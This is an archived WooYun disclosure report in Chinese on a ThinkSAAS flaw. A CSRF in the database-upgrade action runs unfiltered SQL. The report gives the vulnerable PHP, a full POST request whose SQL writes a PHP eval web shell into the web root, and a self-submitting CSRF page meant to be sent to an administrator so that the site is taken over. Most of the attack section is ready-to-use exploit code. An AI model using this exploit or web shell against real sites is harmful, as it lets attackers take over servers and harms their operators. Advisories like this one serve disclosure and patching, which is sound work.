乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2013-12-23: 细节已通知厂商并且等待厂商处理中 2013-12-23: 厂商已经确认,细节仅向厂商公开 2013-12-26: 细节向第三方安全合作伙伴开放 2014-02-16: 细节向核心白帽子及相关领域专家公开 2014-02-26: 细节向普通白帽子公开 2014-03-08: 细节向实习白帽子公开 2014-03-23: 细节向公众公开
ThinkSAAS某处CSRF导致直接GETSHELL
看看系统升级的代码:
case "twodo": $upsql = trim($_POST['upsql']); if($upsql){ $arrSql = explode('--------------------',$upsql); foreach($arrSql as $item){ $item = trim($item); if ($item){ $db->query($item); } } //执行成功 echo '1';exit; }else{ //无SQL可执行 echo '0';exit; }
在升级数据库时,直接执行了sql语句,没有任何过滤,导致任意sql语句执行。而且此功能存在CSRF漏洞,导致可以直接GETSHELL。
升级数据库时数据库时的请求:
POST /thinksaas/index.php?app=system&ac=update&ts=twodo HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:25.0) Gecko/20100101 Firefox/25.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateCookie: bdshare_firstime=1387332325248; PHPSESSID=ab1ec792be3fcce947049d1118cd9778Connection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 267upsql=--------------------Create TABLE temp(cmd text NOT NULL);--------------------Insert INTO temp (cmd) VALUES("<?php @eval($_POST['cmd']);?>");--------------------Select cmd from temp into outfile 'F:/wwwroot/Apache2/htdocs/thinksaas/eval.php';--------------------
这里并没有判断refer。我们构造好csrf 位置页面:
<html><body><form id="csrf" name="csrf" action="http://localhost/thinksaas/index.php?app=system&ac=update&ts=twodo" method="POST"><input type="text" name="upsql" value="--------------------Create TABLE temp(cmd text NOT NULL);--------------------Insert INTO temp (cmd) VALUES('<?php @eval($_POST['cmd']);?>');--------------------Select cmd from temp into outfile 'F:/wwwroot/Apache2/htdocs/thinksaas/eval.php';--------------------" /><input type="submit" name="submit" /></form><script> document.csrf.submit.click();</script></body></html>
把此为页面的链接发送给管理员,管理员点击即可拿到shell。
过滤。
危害等级:高
漏洞Rank:20
确认时间:2013-12-23 14:28
非常感谢反馈,正在修复中。
暂无